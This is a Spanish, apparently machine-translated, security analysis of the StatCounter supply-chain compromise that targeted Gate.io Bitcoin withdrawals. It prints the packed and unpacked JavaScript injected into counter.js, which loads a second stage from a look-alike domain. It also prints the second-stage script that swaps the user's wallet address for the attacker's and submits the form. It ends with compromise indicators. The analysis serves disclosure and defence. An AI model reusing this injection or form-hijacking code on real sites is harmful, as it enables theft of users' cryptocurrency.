Ataque de intercambio de criptomonedas Gate.io registrado

El 4 de noviembre, los atacantes comprometieron StatCounter, una plataforma para analizar el tráfico web. El servicio se utiliza para recopilar estadísticas sobre los visitantes del sitio, aproximadamente como Google Analytics. Para hacer esto, los webmasters agregan una etiqueta externa de JavaScript a cada página del sitio que contiene un fragmento de código StatCounter: www.statcounter [.] Com / counter / counter.js. Con StatCounter, los atacantes pueden inyectar código JavaScript en todos los sitios que utilizan esta plataforma. Sin embargo, el objetivo del ataque era un recurso: el intercambio de criptomonedas Gate.io.


Según sus propios datos , StatCounter tiene más de dos millones de sitios participantes; recopila estadísticas sobre más de 10 mil millones de visitas a la página web por mes. Su calificación de Alexa está por encima de 5,000 (en comparación, el sitio oficial de Debian Linux, debian.org, tiene una calificación comparable).



Los atacantes modificaron el script en www.statcounter [.] Com / counter / counter.js, agregando un fragmento de código malicioso que se muestra en el formulario a continuación en el medio del script. Esto es inusual porque a menudo se agrega código malicioso al principio o al final de un archivo legítimo. El código en el medio de un script existente es más difícil de notar si no lo lee.

eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {})); 

El script fue creado usando el contenedor Dean Edwards, probablemente el contenedor JavaScript más popular. Sin embargo, simplemente puede descomprimirlo, lo que conducirá a la ejecución del código de script real, como se muestra a continuación.

 myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); } 

El fragmento de código verifica si la URL contiene la cuenta / retiro / BTC del Identificador de recursos unificados (URI). En base a esto, podemos concluir que el objetivo de los atacantes es la plataforma Bitcoin. Una vez encontrado lo deseado, el script agrega un nuevo elemento de script a la página web, incrustando el código www.statconuter [.] Com / c.php.

Tenga en cuenta que los atacantes registraron un dominio muy similar al StatCounter legítimo. La diferencia en dos letras: es difícil notarlo cuando se ven revistas por actividad sospechosa. Por cierto, al verificar el DNS pasivo del dominio, encontramos que en 2010 estaba bloqueado por infracciones operativas.



Una vez más, el script apunta a un identificador específico (URI): myaccount / retirada / BTC . En el momento de escribir este artículo, entre todos los intercambios de criptomonedas, solo Gate.io tenía una página válida con este URI. Parece que este intercambio en particular fue el objetivo del ataque. Este sitio es bastante popular: su calificación de Alexa es 26,251, y su calificación en China es 8,308.



Además, según coinmarketcap.com, varios millones de dólares pasan diariamente a través de esta plataforma, incluidos $ 1.6 millones en bitcoins. En general, el interés de los atacantes en Gate.io es fácil de explicar.



La página web www.gate [.] Io / myaccount / retirada / BTC (ver más abajo) se usa para transferir bitcoins de una cuenta en gate.io a una dirección externa.



La carga útil de la segunda etapa con statconuter [.] Com / c.php está diseñada para robar bitcoins. El script, también empaquetado con Dean Edwards, está incrustado en la página web para traducir bitcoins a Gate.io. Versión desempaquetada a continuación.

 document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } }; 

La página legítima Gate.io tiene una función doSubmit que se llama cuando el usuario hace clic en el botón de enviar. En nuestro caso, los atacantes lo cambiaron.

El script malicioso reemplaza automáticamente la dirección de la billetera bitcoin del usuario con la dirección que pertenece al atacante, por ejemplo, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad . El servidor atacante genera una nueva dirección cada vez que un visitante descarga el script statconuter [.] Com / c.php.

El script usa la cantidad ingresada por la víctima (si la víctima transfiere más de diez bitcoins) o el límite diario para eliminar la criptomoneda de la cuenta. En nuestra cuenta de prueba, el límite de cancelación se estableció en 100 BTC. Finalmente, el guión envía un formulario que transfiere fondos de la cuenta de la víctima a la dirección de la billetera de los atacantes.

La redirección de fondos probablemente se hace invisible para las víctimas, ya que la billetera se cambia después de hacer clic en el botón "Enviar". Esto sucede muy rápidamente y sin visualización.

Se genera una nueva dirección de bitcoin de los ciberdelincuentes cada vez que se solicita un script malicioso, por lo que no podemos estimar sus ingresos. Si verifica la dirección que utilizamos en la máquina de prueba, el saldo es cero.



Conclusión


No sabemos cuántos bitcoins fueron robados durante este ataque. Sin embargo, el incidente muestra cómo los atacantes pueden actuar para atacar un recurso específico, en particular, un intercambio de criptomonedas. Para robar bitcoins de los usuarios de un intercambio, comprometieron la plataforma analítica que usan millones de sitios web, incluidos varios sitios gubernamentales.

Además, muestra que incluso si su sitio está actualizado y protegido de manera confiable, aún es vulnerable a ataques a través de recursos de terceros. Otro recordatorio de que el código JavaScript externo de terceros está sujeto a cambios en cualquier momento sin previo aviso.

Advertimos a StatCounter y Gate.io sobre actividades maliciosas.

Indicadores de compromiso


URL maliciosas

www.statcounter [.] Com / counter / counter.js
www.statconuter [.] Com / c.php

Source: https://habr.com/ru/post/es429050/


All Articles